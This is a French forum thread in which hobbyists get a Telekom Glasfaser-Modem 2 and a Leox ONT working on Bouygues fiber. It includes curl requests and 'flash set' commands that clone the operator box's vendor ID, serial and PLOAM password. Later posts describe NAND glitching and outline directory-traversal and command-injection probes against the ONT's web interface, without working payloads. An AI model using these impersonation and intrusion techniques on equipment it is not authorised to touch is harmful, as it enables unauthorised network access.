[{"vartype":"status","varid":"status","varvalue":"ok"},{"vartype":"value","varid":"ploam_state","varvalue":"0"}]%
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 21 mars 2023 à 22:14:51
J'ai testé ceci avec curl (notez le -v et -d):
curl -i -v -s -k -X $'POST' \
    -H $'Host: 192.168.100.1' -H $'Accept: application/json, text/javascript, */*' -H $'X-Requested-With: XMLHttpRequest' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: http://192.168.100.1' -H $'Referer: http://192.168.100.1/ONT/client/html/content/config/setup.html?lang=en' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'lang=en' -d $'ploam_password=00000181061234567890' $'http://192.168.100.1/ONT/client/data/Router.json'

et cela donne ceci:
*   Trying 192.168.100.1:80...
* Connected to 192.168.100.1 (192.168.100.1) port 80 (#1)
> POST /ONT/client/data/Router.json HTTP/1.1
> Host: 192.168.100.1
> Cookie: lang=en
> Accept: application/json, text/javascript, */*
> X-Requested-With: XMLHttpRequest
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
> Content-Type: application/x-www-form-urlencoded
> Origin: http://192.168.100.1
> Referer: http://192.168.100.1/ONT/client/html/content/config/setup.html?lang=de
> Accept-Encoding: gzip, deflate
> Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
> Connection: close
> Content-Length: 35
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
HTTP/1.0 200 OK
< Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
< Prama: no-cache
Prama: no-cache
< X-Frame-Options: DENY
X-Frame-Options: DENY
< Expires: 0
Expires: 0
< X-Content-Type-Options: nosniff
X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; mode=block
< CONTENT-LANGUAGE: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
CONTENT-LANGUAGE: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
< Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'
< Content-type: application/javascript
Content-type: application/javascript

<
* Closing connection 1
[{"vartype":"status","varid":"status","varvalue":"ok"},{"vartype":"value","varid":"ploam_state","varvalue":"0"}]%

Pour curl, la requête fait aussi 35 octets de long mais cela ne fonctionne pas non plus.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 21 mars 2023 à 22:41:08
Rhaa .... je suis vraiment désolé, je suis déçu que ca ne fonctionne pas ... je n'ai plus d'autre idée là comme ça.
Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 21 mars 2023 à 22:45:37
Pas grave, j'ai essayé. Au moins cela fait un retour d'expérience supplémentaire.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 26 mars 2023 à 19:03:51
Salut, bien joué pour la solution qui peuvent servir a d'autres  ;D

J'aurais quelques questions si cela ne te dérange pas  ;)

Tu as les 2gb/s annoncer par Bouygues ?
Tu as fais des test pour la stabilité ?
Quel routeur as-tu derrière l'ONT ?

Bon alors petit bilan de l'expérience à ce stade:

Pour info mon objectif perso était de me faire une petite monté en compétence IPv4/ipV6 et passage en 2.5GB d'une partie de mon réseau en remplaçant mon RB750Bgr3 mikrotik qui m'a suivi en Gigabit sur orange puis Bouygues. Le tout pour le plus petit budget possible par challenge, clairement ma solution plus sereine  se porterait sur un RB5009UG+S+IN mikortik et un SFP+).

Au niveau tarif nous en sommes à 28 euros d'ONT + 4 euros de cable LC/SC + 90 euros de nanopi R5C (dont 17 de transport et 19 de douanes! j'ai pas eu le courage d'attendre qu'il soit importé en France mais la bête devrait se trouver dans les 60 euros ...) donc 122euros total, je ne compte pas le chargeur USB-c que j'avais déjà pour le R5C.

Pour ce qui est des performances de l'ONT, il passe clairement au dela du Gbps et donne des résultats autour de 1.8Gbps en iperf3 sur les serveurs de bouygues (j'ai des résultats identique avec le bbox 6E) donc je ne sais pas dire si ce sont les cartes ethernet ou l'ont qui limite ou iperf3 de bouygues ?

Pour ce qui est des perfs du R5C, le constructeur prévient que le bus pci du RK3568 limite les chips ethernet à 2.1GBTX/2.3RX. Ce qui n'est pas un souci en soit puisque bouygues ne fournit que 2Gb en ultym. (il existe un model R6S avec un rockchip plus costaud mais le prix double, autant aller chez mikrotik...)

Pour ce qui est du R5C dans sa configuration d'origine avec la distribution openwrt friendlywrt (version patché de nanopi) les perfs sont bof env 1.2Gbps (même en jouant sur les irq et passant la config scheduler linux en performance on gagne pas grand chose)
Par contre ils fournissent une image debian core avec un kernel (source dispo) en 5.10.110 avec le driver realtek officiel r8125 installé en module qui permet d'atteindre pour ma part 1.7Gbps en download et en upload on atteint bien la limite de bouygues avec un 841Mbps constant. (idem question sur iperf3 sur les serveurs de Bouygues en 2gbps ?) On ne note aucune différence entre ipv4 et ipv6 sur les vitesses. les temps de ping sont également identique en ipv4 et ipv6 vers bouygues.testdebit.info (env 3.2ms) et env 2.3ms vers le routeur ipv4 le plus proche. D'ailleurs certains utilisateur du nanopi se plaignent de latence en ping notement avec un ping sur 127.0.0.1 et sur l'ip de la carte autours des 0.320ms (ce que je confirme en openwrt, mais avec la distribution debian j'ai plutôt du 0.100 voir 0.090ms ce qui est comparable à mes autre machine intel du réseau ...

Voilà j'ai un peu galéré à monter en compétence sur la config systemd-networkd et firewalld de debian cf. routerOS ou openwrt mais content d'avoir ipv4 et ipv6 fonctionnel (j'ai toujours pas réussi à attribuer une ipv6 au wan pour l'instant avec la version 245 de networkd sous debian bullseye mais au moins j'ai une délégation pour pour mon lan et l'ipv6 fonctionne avec le client dhcpv6 de networkd). J'ai vu que la version 285 de networkd apporté pas mal de refonte cote dhcpv6-PD j'attends l'update de debian (EDIT: j'ai fini par utilise le package en backport de systemd et j'ai tout de suite pu récupéré le préfix sur le WAN, attention la syntax a changé entre les deux version :( ... j'ai jamais aimé systemd...).


maintenant il me reste à m'attaque à igmproxy :( ... d'ailleurs si certains ont un pointeur vers un post qui décrit bien les trames qu'on doit voir dans le bon ordre pour IGMP je suis preneur. j'ai un dout sur les trames à tagger CS5 et les règles firewalld..

merci








Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 30 mars 2023 à 10:41:41
Update du jour:

Donc je confirme que l'ONT telekom se montre parfaitement stable depuis plus d'une semaine, sans coupure, avec des débits stables.

Pour le routeur R5C, en mode debian 48h sans aucun souci, en ipv4 et ipv6 débits et latence sont plutôt meilleur que la bbox

par contre j'atteins ma limite de compétence sur IGMP/TV. J'ai essayé avec igmpproxy et pimd.
 - je vois bien les trames igmp sur la lan depuis la box tv 4K
 - quand j'active igmpproxy ou pimd (pas en même temps) je vois bien qu'ils voient les trames igmp et qu'ils créent les groupes et mettent à jour les table de routage
 - il forward bien les trames vers bouygues avec la cos 5 sur vlan100
 - mais ensuite je ne vois jamais les trames UDP revenir sur le port wan :( ... Du coup j'ai un doute sur le mode bridge de l'ONT ? qui filtrerait les trames UDP ? j'ai vérifié les aspects mc_forward=1 et rp_filter=0 sur le routeur, ou le fait que le firewall ne filtre aucune bogon / malformed ip pour être sûr...je ne vois pas ce qui coince
J'ai fait un tcpdump de la séquence allumage Boxtv jusqu'à réception de quelque chaines sur la bbox, puis la meme avec le routeur+ont, tous est identique jusuq'au trame IGMP mais je ne vois pas les trame UDP sur ONT/Routeur :(

Si quelqu'un aurait une idée pour vérifier que les paquets UDP iptv (ceux qui sont censés revenir via les port 1234, 8200, 8202 ...) après les requêtes IGMP passent bien le bridge de l'ONT je suis preneur ...

Bonne journée
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: Florian le 30 mars 2023 à 10:47:01
Merci pour ces infos et les tests !

Ca pourrait etre très pratique de retrouver un ont externe en 2.5g, pour déporter l'arriver fibre du reste du réseau via du rj45 ensuite, ça prend moins de place que les boxs ou le combo switch+sfp+ pour moi :D
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 30 mars 2023 à 16:00:08
Merci pour ces infos et les tests !

Ca pourrait etre très pratique de retrouver un ont externe en 2.5g, pour déporter l'arriver fibre du reste du réseau via du rj45 ensuite, ça prend moins de place que les boxs ou le combo switch+sfp+ pour moi :D

Pour l'instant on est sur un 50/50 chez moi ca fonctionne nickel mais chez mirtouf ca n'a pas fonctionné... Du coup faudrait pouvoir confirmer avec plus de personne ou un sysadmin Bouygues ce qui pourrait faire la différence niveau config OLT afin de savoir ce qui rend cet ONT compatible ou non avec l'OLT.

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 12 avril 2023 à 22:42:10
Bon pour la suite de l'histoire, j'ai commandé un LXT-010H-D (version 2.5Gb du coup) pour tester cette histoire d'IPTV/IGMP.

J'arrive à me connecter avec leox après savoir mis le numéro de serie, le password et le PON_VENDOR_ID mais les performances sont très mauvaises .. je ne dépasse pas les 300Mb en D/L et 1.4Mb en U/L. J'ai bien vu d'autre personne avec ce genre de soucis dans le forum j'ai changer les paramètres OMCI_OLT_MOD, GPON_ONU_MODE, OMCI_FAKE_OK, OMCI_TM_OPT, j'ai tenté d'autre PON_VENDOR_ID rien n'y fait... étrange également si je fais un iperf3 -R vers les serveurs de bouygues avec 1 connection (-P1) magie j'ai 600Mb/s, mais avec -P2 j'ai 300Mb/s et avec -P20 j'ai 50Mb/s ....

Enfin le plus étrange c'est que maintenant depuis que j'ai connecté le leox quand je rebranche le glasfaser modem 2 ..... plus de synchro :( .... Même en remettant le PLOAM password etc ... rien... ca clignote :(..... Je me demande dans quelle mesure Bouygues rejete ou ban certain OLT ? Pourtant le SFP de la bbox lui ne semble jamais se faire ban...

Du coup j'ai plus d'ONT qui fonctionne full speed :).... ni d'iptv :) encore de longues nuits en perspective

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 13 avril 2023 à 09:16:00
Bon courage mais je note un comportement intéressant, si l'OLT peut changer son comportement au cours du temps, cela peut compliquer le choses.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 13 avril 2023 à 22:06:06
Bon courage mais je note un comportement intéressant, si l'OLT peut changer son comportement au cours du temps, cela peut compliquer le choses.
Ils doivent bien se marrer les sysadmin bouygues à lire les messagess des mecs qui essaient de décortiquer le fonctionnement à taton :(

bon en plus pour la blague, je tente le debug ce soir, plus aucune synchro avec ni ONT ni BBOX/SFP ... à n'y rien comprendre ... jusqu'à la notif sur l'espace client ... indient général chez bouygues .. plus de fibre dans ma zone!

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 15 avril 2023 à 10:58:56
Bon pour la suite de l'histoire, j'ai commandé un LXT-010H-D (version 2.5Gb du coup) pour tester cette histoire d'IPTV/IGMP.

...

Enfin le plus étrange c'est que maintenant depuis que j'ai connecté le leox quand je rebranche le glasfaser modem 2 ..... plus de synchro :( .... Même en remettant le PLOAM password etc ... rien... ca clignote :(..... Je me demande dans quelle mesure Bouygues rejete ou ban certain OLT ? Pourtant le SFP de la bbox lui ne semble jamais se faire ban...

Du coup j'ai plus d'ONT qui fonctionne full speed :).... ni d'iptv :) encore de longues nuits en perspective

Benoit

Du coup j'ai pu pu faire quelques tests, mais surtout avoir du support de leolabs (un certain Marcin génial que je remercie pour le temps accordé !)

En gros, le déclancheur c'est d'avoir configuré le LEOX avec un PON_VENDOR_ID HWTC, en prétendant être un ONT Huawei, sachant que mon OLT est un Huawei coté Bouygues (est-ce que bouygues utilise aussi du Alcatel?), l'OLT initie un protocol OMCI propriétaire. Le Leox est 'compatible' des deux implementations mais ça reste un reverse engineering et pas standard... Pour voir lequel des 2 protocoles est utilisé:

omcicli mib get 171 -> si output = standard
omcicli mib get 78 -> si  output = proprietaire Huawei

D'ailleurs si on laisse l'ONT branché en capturant les messages sur le port série du leox, l'OLT envoie des demandes de supervision (signal, débit, temperature, ...) qui lorsque qu'on utilise ME78 sont reconnus par leox comme proprietaire Huawei et en ME171 reconnu comme standard

Du coup le fait de prétendre être un ONT Huawei, passe l'OLT en mode propriétaire et c'est ce qui a fait que je ne pouvait plus ensuite synchroniser le Telekom modem 2 ... Ce qui reste "troublant" c'est que la bbox+Sfp elle ne semble pas perturbée et se synchronise sans souci.

C'est là que Leolabs m'a indiqué qu'on pouvait même avec le PON_VENDOR_ID HWTC parfois forcer à revenir en OMCI standard en jouant sur le paramètre OMCC_VER, par défaut le leox est en 128, on peut essayer les valeurs 160 et 134, et vérifier avec la commande indiquée plus haut  "omcicli mib get 171" qu'on est repassé en standard.

Une fois repassé en standard, j'ai reset le leox avec toutes les valeures par défaut et j'ai juste remis le PLOAM : bingo synchro OK.
De la j'ai pu rebrancher le Telekom modem 2 la synchro est ok.

Bon par contre quelque soit la config du leox j'ai toujours un souci de performance :( ... avec un D/L variant de 30Mb/s à 600Mb/s et un U/L entre 1.5Mb/s et 4Mb/s ... y'a clairement un souci.

Pourtant le telekom modem un fois resynhro est toujours au max en U/L a 800Mb/s et 1.7Gb/s en D/L, comme la bbox/SFP

Vu que j'avais fait tout mes tests de config du Leox en PON_VENDOR_ID HWTC je vais essayer de tout re-tester en PON_VENDOR_ID LEOX et en SMBS ...

Pour info si d'autres ont un leox sur bouygues ce que j'ai pour l'instant de plus proche des infos de la bbox/SFP serait:

flash set HW_HWVER SMBSSGLBF121 # pas sûr pris dans le forum Orange
flash set PON_VENDOR_ID SMBS
flash set GPON_SN SMBSXXXXXXXX #pris dans l'interface bbox menu fibre
flash set OMCI_SW_VER1 SG_MAIN_22.350 #pris dans l'interface bbox
flash set OMCI_SW_VER2 SG_MAIN_22.346 #pris dans l'interface bbox
flash set OMCI_OLT_MODE 3 #custom pour pousser les autres paramètre (SW_VER etc ...)
flash set OMCC_VER 134 #pas sûr ici si utilise 134 160 ou 128 (note cependant qu'en 160 le leox récupère l'heure de l'OLT... comme le telekom modem 2)
flash set GPON_PLOAM_PASSWD 0x00000<15 chiffre de l'IMEI de la bbox un Utym>


Il me semble que dans le thread de ONT 2.5Gb il y a eu 2 personnes qui avait un leox 2.5Gb et qui avait les mêmes souci de débit en janvier ou février mais il n'y a pas eu de suite dans le thread.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: Florian le 15 avril 2023 à 11:09:38
(oui il y a des équipements Alcatel chez BT, c'est mon cas par exemple)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 15 avril 2023 à 12:18:59
Le Glasfaser est le premier ONT tiers que j'avais utilisé après mon retour chez ByTel et pourtant cela n'a pas fonctionné.
Les informations techniques sont très intéressantes.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 15 avril 2023 à 13:04:23
Le Glasfaser est le premier ONT tiers que j'avais utilisé après mon retour chez ByTel et pourtant cela n'a pas fonctionné.
Les informations techniques sont très intéressantes.

Mais du coup ton ONT de bouygues c'est un Huawei? Donc probablement que ton OLT était déjà en mode propriétaire ? Et il serait possible que ubiquiti ai un OMCC_VER différent d'usine ce qui expliquerait... Sinon qu'il y ai plusieurs version d'OLT chez bouygues...

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 15 avril 2023 à 13:40:11
L'ONT est un Huawei HG8010H avec firmware customisé par ByTel (et FS chiffré).
UI fournit un mode Huawei avec son ONT pour aider à la connexion en effet.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 15 avril 2023 à 15:34:37
L'ONT est un Huawei HG8010H avec firmware customisé par ByTel (et FS chiffré).
UI fournit un mode Huawei avec son ONT pour aider à la connexion en effet.

Ha ok donc ça s’explique je pense que si l’ui fournissait un mode ou une option de changer la version de protocole tu pourrais ensuite utiliser le Telekom modem 2 . Il doit aussi être possible qu’après un temps donné l’olt repasse en mode default et que un ont tier puisse se connecter. Ensuite il faudrait savoir dans quelle mesure Bouygues bloque ou non les ont tiers. Dans mon cas puisque je suis en utlym avec une bbox 6e l’olt doit accepter les ont tiers sagemcom

Bon au moins c’est cohérent !
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: hwti le 24 avril 2023 à 01:41:29
- The CFE boot delay est à 1 seconde, mais je ne parviens pas à envoyé de caractère ou à interrompre le boot (EDIT sur la carte on peut suivre la ligne du circuit imprimé qui arrive bien sur le CPU, par contre on notre qu'il "pourrait" manqué 1 resistance (de pullup ?) entre un point du 3.3V et la ligne RX, j'ai tenté d'intercaler un resistance de 1K ohm mais sans succès ...
Dans les traces de boot :
D%G----
BTRM
...
----
HELO
5.0205p1-1.0.38-163.181
----
...
Base: 5.2_05p1
CFE version 1.0.38-163.181 for BCM96856 (64bit,SP,LE)
Build Date: Tue Jun 16 14:51:57 CST 2020
Copyright (C) 2000-2015 Broadcom Corporation.

Boot Strap Register:  0x53008056
Chip ID: BCM68360_B1, Broadcom B53 Dual Core: 1500MHz
Le CFE correspond à https://github.com/RMerl/asuswrt-merlin.ng/tree/e401e313fac7b7fda9e0b94e1ec13995d88aebb6/release/src-rt-5.02axhnd/cfe (du moins pour la version de de base 1.0.38-163.181, chaque fabriquant peut faire des modification).
On n'a pas la version du SDK dans ce dossier (le version.make), et à d'autres endroits il y a des 5.02.07 dans l'historique, mais pas 5.02.05p1 comme ici.

Si on regarde les sources :
 - BTRM = Boot ROM
 - HELO c'est le début du CFE (cfe/cfe/arch/arm/common/src/init_arm_aarch64.S ligne 190), probablement le CFE ROM (même si les makefiles semblent mettre le code dans les deux).
 - "Base: 5.2_05p1" c'est le début du CFE RAM (cfe/cfe/board/bcm63xx_ram/src/bcm63xx_main.c)

Les traces PAR1/PAR2, avec UBI# ça indique des partitions, mais tant qu'on n'a pas de dump ça ne sert pas à grand chose.

Pour le "Press any key to stop auto run" :
 - bizarrement le code de runDelay oblige à l'afficher (si la valeur est configurée à 0, alors pas de boot automatique)
 - console_status teste si une touche a été appuyée, à priori ça devrait fonctionner, sauf si le code a été modifié, ou si cfe_set_console n'a pas été appelé, ou bien sûr si quelque chose empêche le fonctionnement au niveau HW

Sur l'UART en général :
 - dans cfe/arch/arm/board/bcm63xx_shared/src/bcm63xx_impl2_common.S, l'UART semble ouverte en rw, sauf pour le BTRM (INC_BTRM_BUILD==1)
 - je ne vois pas d'appel à cfe_set_console, c'est peut-être dans un fichier de board absent
 - sans cfe_set_console, il n'y aurait à priori pas de trace, à part dans le CFE ROM (qui a "xprinthook = board_puts;")
 - en recherchant board_getc, je vois que le CFE ROM pourrait avoir une fonction chek_abort_key, et être interrompu en envoyant "a"

BCM6830 "OK" FFBG (pas certain du OK
BCM68360 d'après les traces de boot.

Toujour aucune idée sur la fonction du connecteur JP1 qui se compose d'une masse et 2 pistes qui semblent aller directement au CPU et qui sont à 3.3V(malheureusement pas d'osciloscope pour voir le type de signal) mais le voltage varie un peu pendant le boot...
Je pense que c'est un bus I2C, relié au chip du contrôle le laser, et probablement au SoC aussi.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 24 avril 2023 à 08:05:17
Pour le "Press any key to stop auto run" :
 - bizarrement le code de runDelay oblige à l'afficher (si la valeur est configurée à 0, alors pas de boot automatique)
 - console_status teste si une touche a été appuyée, à priori ça devrait fonctionner, sauf si le code a été modifié, ou si cfe_set_console n'a pas été appelé, ou bien sûr si quelque chose empêche le fonctionnement au niveau HW
Bonjour, merci pour l'aide, J'ai ré-essayé ce matin toujours rien, soit un laissant le caractère 'a' appuyé avant de branché, après, soit en appuyant plusieurs fois la touche a... pas de stop.

Par rapport au message de la ROM vs Flash, j'ai essayé de cour-curcuité 2 lignes d'address de la flash, j'obtiens:
----                                                                           
BTRM                                                                           
V1.0                                                                           
R1.0                                                                           
L1CD                                                                           
MMUI                                                                           
MMU9                                                                           
DATA                                                                           
ZBBS                                                                           
MAIN                                                                           
OTP?                                                                           
OTPP                                                                           
USBT                                                                           
NAND                                                                           
IMG?                                                                           
FAIL                                                                           
----

Sur l'UART en général :
 - dans cfe/arch/arm/board/bcm63xx_shared/src/bcm63xx_impl2_common.S, l'UART semble ouverte en rw, sauf pour le BTRM (INC_BTRM_BUILD==1)
 - je ne vois pas d'appel à cfe_set_console, c'est peut-être dans un fichier de board absent
 - sans cfe_set_console, il n'y aurait à priori pas de trace, à part dans le CFE ROM (qui a "xprinthook = board_puts;")
 - en recherchant board_getc, je vois que le CFE ROM pourrait avoir une fonction chek_abort_key, et être interrompu en envoyant "a"

Non rien avec 'a' ...

Je ne sais pas comment définitivement lever la question de la ligne RX niveau HW...

merci
Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: hwti le 24 avril 2023 à 09:49:43
Par rapport au message de la ROM vs Flash, j'ai essayé de cour-curcuité 2 lignes d'address de la flash, j'obtiens:
Ca s'arrête effectivement à la boot ROM.
Ca confirme donc que le CFE ROM et le CFE RAM sont sur la NAND.

Il n'y a pas toutes les sources de la boot ROM, donc je ne sais pas à quoi correspondent les différentes traces :
 - OTP? / OTPP : probablement la lecture de fusibles OTP pour configurer le SoC (modes de boot, éventuellement chiffrement / signature).
 - USBT : peut-être USB Test, mais il n'y a pas de port USB de câblé

Si c'est possible, on pourrait essayer de faire le court-circuit sur la NAND plus tard : soit entre le CFE ROM et le CFE RAM, soit au moment où le CFE RAM charge le kernel.

Je ne sais pas comment définitivement levé la question de la ligne RX niveau HW...
Avec un multimètre en test de diode, on peut vérifier si on voit les diodes de protection du SoC avec GND et +3.3V.

Il faudrait tester si la console CFE fonctionne en ayant booté avec le bouton appuyé, on ne sait jamais.

Mais si c'est effectivement désactivé, il ne restera comme options que :
 - attaquer le serveur web du CFE (boot avec le bouton reset) : cfe/board/bcm63xx_ram/src/bcm63xx_httpd.c (ça ne semble permettre que de flasher)
 - attaquer le firmware (vous être déjà plusieurs à avoir essayé)
 - dessouder la NAND pour la lire
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 24 avril 2023 à 11:47:03
Ca s'arrête effectivement à la boot ROM.
Ca confirme donc que le CFE ROM et le CFE RAM sont sur la NAND.

Il n'y a pas toutes les sources de la boot ROM, donc je ne sais pas à quoi correspondent les différentes traces :
 - OTP? / OTPP : probablement la lecture de fusibles OTP pour configurer le SoC (modes de boot, éventuellement chiffrement / signature).
 - USBT : peut-être USB Test, mais il n'y a pas de port USB de câblé

Si c'est possible, on pourrait essayer de faire le court-circuit sur la NAND plus tard : soit entre le CFE ROM et le CFE RAM, soit au moment où le CFE RAM charge le kernel.
Alors si je court-circuite avant le load du firmware, il plante pareil.
Si j'essaie pendant le load il essaie de load le firmware 2, si je continue le court-circuit il plante.


Avec un multimètre en test de diode, on peut vérifier si on voit les diodes de protection du SoC avec GND et +3.3V.
Ok je vais essayé ça ce soir.

Il faudrait tester si la console CFE fonctionne en ayant booté avec le bouton appuyé, on ne sait jamais.
Je pense que j'ai mis le tracelog avec bouton appuyé dans le précédent post, il détecte bien le bouton, du coup il initialise le chipset 2.5Gb ethernet, le setup en 192.168.1.1, et démarre le Web CFE, mais pas de console. Par contre là aussi il y a un timeout super court, j'ai essayé de charger un binaire mais en gros il n'attend pas en CFE web, il fini par booté le kernel de la flash. Du coup pour attaquer le CFE c'est compliqué en terme de temps pour agir.

Mais si c'est effectivement désactivé, il ne restera comme options que :
 - attaquer le serveur web du CFE (boot avec le bouton reset) : cfe/board/bcm63xx_ram/src/bcm63xx_httpd.c (ça ne semble permettre que de flasher)
 - attaquer le firmware (vous être déjà plusieurs à avoir essayé)
 - dessouder la NAND pour la lire

Après moi j'ai essayé des trucs probablement simple, paramètre url, cookie injection, http-upload etc .... mais y'a peut-être besoin de passer sur des techniques plus complexe... Si vous avez des idées de doc/librairies ou autre je continuerai à regarder de ce coté.
Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: hwti le 24 avril 2023 à 14:44:50
Si j'essaie pendant le load il essaie de load le firmware 2, si je continue le court-circuit il plante.
Pas de réaction au port série quand il a "planté" ?

Je pense que j'ai mis le tracelog avec bouton appuyé dans le précédent post, il détecte bien le bouton, du coup il initialise le chipset 2.5Gb ethernet, le setup en 192.168.1.1, et démarre le Web CFE, mais pas de console. Par contre là aussi il y a un timeout super court, j'ai essayé de charger un binaire mais en gros il n'attend pas en CFE web, il fini par booté le kernel de la flash. Du coup pour attaquer le CFE c'est compliqué en terme de temps pour agir.
Les traces n'indiquent pas si les console réagit ou non aux appuis touche, je suppose que non du coup.
Pour la durée, il ne me semble pas avoir vu quelque chose dans les sources ASUS.
La détection du bouton, et l'init de la PHY 2.5Gbps c'est spécifique à cette cible, mais si le code lance le serveur web, c'est bizarre d'avoir un timeout (à moins qu'il soit arrêté dès le chargement de la page web).

Après moi j'ai essayé des trucs probablement simple, paramètre url, cookie injection, http-upload etc .... mais y'a peut-être besoin de passer sur des techniques plus complexe... Si vous avez des idées de doc/librairies ou autre je continuerai à regarder de ce coté.
L'interface web est à priori spécifique à Deutsche Telekom.
Les attaques de base sont :
 - directory traversal pour récupérer des fichiers
 - regarder si des valeurs sont passées au shell (system(...) sans protection)
Sinon, il faudrait chercher s'il y a eu des CVE ou des dumps d'autres ONT ou box de Deutsche Telekom (ça pourrait être la même UI).
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 24 avril 2023 à 15:16:02
Pas de réaction au port série quand il a "planté" ?
Pas de reaction, pas de prompt, ni d'écho de la console, juste les messages qui défilent.

Les traces n'indiquent pas si les console réagit ou non aux appuis touche, je suppose que non du coup.
Pour la durée, il ne me semble pas avoir vu quelque chose dans les sources ASUS.
La détection du bouton, et l'init de la PHY 2.5Gbps c'est spécifique à cette cible, mais si le code lance le serveur web, c'est bizarre d'avoir un timeout (à moins qu'il soit arrêté dès le chargement de la page web).
Oui c'est assez perturbant, je ne vois pas non plus de tentative de connexion TFTP ou autre protocole sur le réseau... On dirait vraiment que sercomm a voulu bloquer le truc de partout...

L'interface web est à priori spécifique à Deutsche Telekom.
Les attaques de base sont :
 - directory traversal pour récupérer des fichiers
 - regarder si des valeurs sont passées au shell (system(...) sans protection)
Sinon, il faudrait chercher s'il y a eu des CVE ou des dumps d'autres ONT ou box de Deutsche Telekom (ça pourrait être la même UI).

Oui j'ai fait le tour des autres box "fritz" ou ONT de chez eux pour lesquels on peut avoir les firmware... J'ai l'impression qu'il n'ont pas souvent fait appel à Sercomm et que, même si on retrouve le style rose de l'interface, ce n'est pas la même techno derrière. On peut récupérer les assets en direct mais pas faire de remonté '../..', Pour les scripts, on dirait que tout passe par 1 script qui fait du routing web,  qui reçoit les requêtes et qui ne répond que si le JSON du POST correspond à un dictionnaire de mots. Les valeurs et le JSON semblent bien 'escapé'... Le GET ignore tous paramètres sauf 'lang' mais là aussi il fait une comparaison du texte avec une liste de valeurs possibles après semble-t-il avoir "escape" les valeurs, idem pour le cookie ... mais il est possible que je ne sois pas un expert de l'injection je l'avoue volontier.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: hwti le 24 avril 2023 à 20:57:12
Oui c'est assez perturbant, je ne vois pas non plus de tentative de connexion TFTP ou autre protocole sur le réseau... On dirait vraiment que sercomm a voulu bloquer le truc de partout...
Pour bloquer, ils auraient pu désactiver le serveur web, il y a un flag pour ça.
Peut-être qu'ils ont gardé un CFE plus proche voire identique au dev, et qu'ils ont un test quelque part, mais dans ce cas ça n'a pas l'air très bien fait.

Puisque la mise à jour se fait via OMCI, il est peu probable de trouver des firmwares.
Et si jamais le firmware est chiffré et signé...
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 24 avril 2023 à 21:50:31
Pour bloquer, ils auraient pu désactiver le serveur web, il y a un flag pour ça.
Peut-être qu'ils ont gardé un CFE plus proche voire identique au dev, et qu'ils ont un test quelque part, mais dans ce cas ça n'a pas l'air très bien fait.

Puisque la mise à jour se fait via OMCI, il est peu probable de trouver des firmwares.
Et si jamais le firmware est chiffré et signé...

